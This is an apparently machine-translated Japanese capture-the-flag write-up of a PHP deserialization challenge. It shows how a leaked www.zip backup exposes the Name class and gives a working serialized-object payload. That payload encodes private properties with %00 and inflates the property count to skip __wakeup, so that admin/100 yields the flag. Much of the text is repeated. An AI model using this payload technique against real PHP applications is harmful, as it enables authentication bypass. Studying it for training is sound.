極客大挑戦2019 PHP
1851 ワード
0x00
問題型:ソースコードの漏洩、phpの逆シーケンス化、wakeupメソッドの迂回.
0x01
ヒントサイトにバックアップがあり、urlの後ろにwww.zipをつなぎ、ソースコードにダウンロードします.主なコードは次のとおりです.
簡単明瞭で、転送されたselectをphp逆シーケンス化し、username==='admin'&&password=100でflagを手に入れることができます.
0x02
payload:
tip1:
なぜ%00を加えるのですか?
phpがprivate属性の変数をシーケンス化すると、クラス名の前後に空の文字、すなわち0 x 00が生成され、スペースのように見えますが、実際にはスペースではありません.クリップボードにコピーすると切断されることがわかりますので、%00を加えてphpを正常に解析できます.
tip2:
Nameクラスには2つの属性しかありませんが、なぜ3と書くのですか?
迂回するためにwakeup()このマジックメソッド、逆シーケンス化時_wakeup()は自動的に呼び出され、このクラスではwakeup()が私たちが入力したパラメータを変更するので、迂回する必要があります.逆シーケンス化の場合,属性個数が実際の数と一致しない場合,この方法は呼び出されない.
問題型:ソースコードの漏洩、phpの逆シーケンス化、wakeupメソッドの迂回.
0x01
ヒントサイトにバックアップがあり、urlの後ろにwww.zipをつなぎ、ソースコードにダウンロードします.主なコードは次のとおりです.
username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "NO!!!hacker!!!";
echo "You name is: ";
echo $this->username;echo "";
echo "You password is: ";
echo $this->password;echo "";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "hello my friend~~sorry i can't give you the flag!";
die();
}
}
}
?>
簡単明瞭で、転送されたselectをphp逆シーケンス化し、username==='admin'&&password=100でflagを手に入れることができます.
0x02
payload:
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
tip1:
なぜ%00を加えるのですか?
phpがprivate属性の変数をシーケンス化すると、クラス名の前後に空の文字、すなわち0 x 00が生成され、スペースのように見えますが、実際にはスペースではありません.クリップボードにコピーすると切断されることがわかりますので、%00を加えてphpを正常に解析できます.
tip2:
Nameクラスには2つの属性しかありませんが、なぜ3と書くのですか?
迂回するためにwakeup()このマジックメソッド、逆シーケンス化時_wakeup()は自動的に呼び出され、このクラスではwakeup()が私たちが入力したパラメータを変更するので、迂回する必要があります.逆シーケンス化の場合,属性個数が実際の数と一致しない場合,この方法は呼び出されない.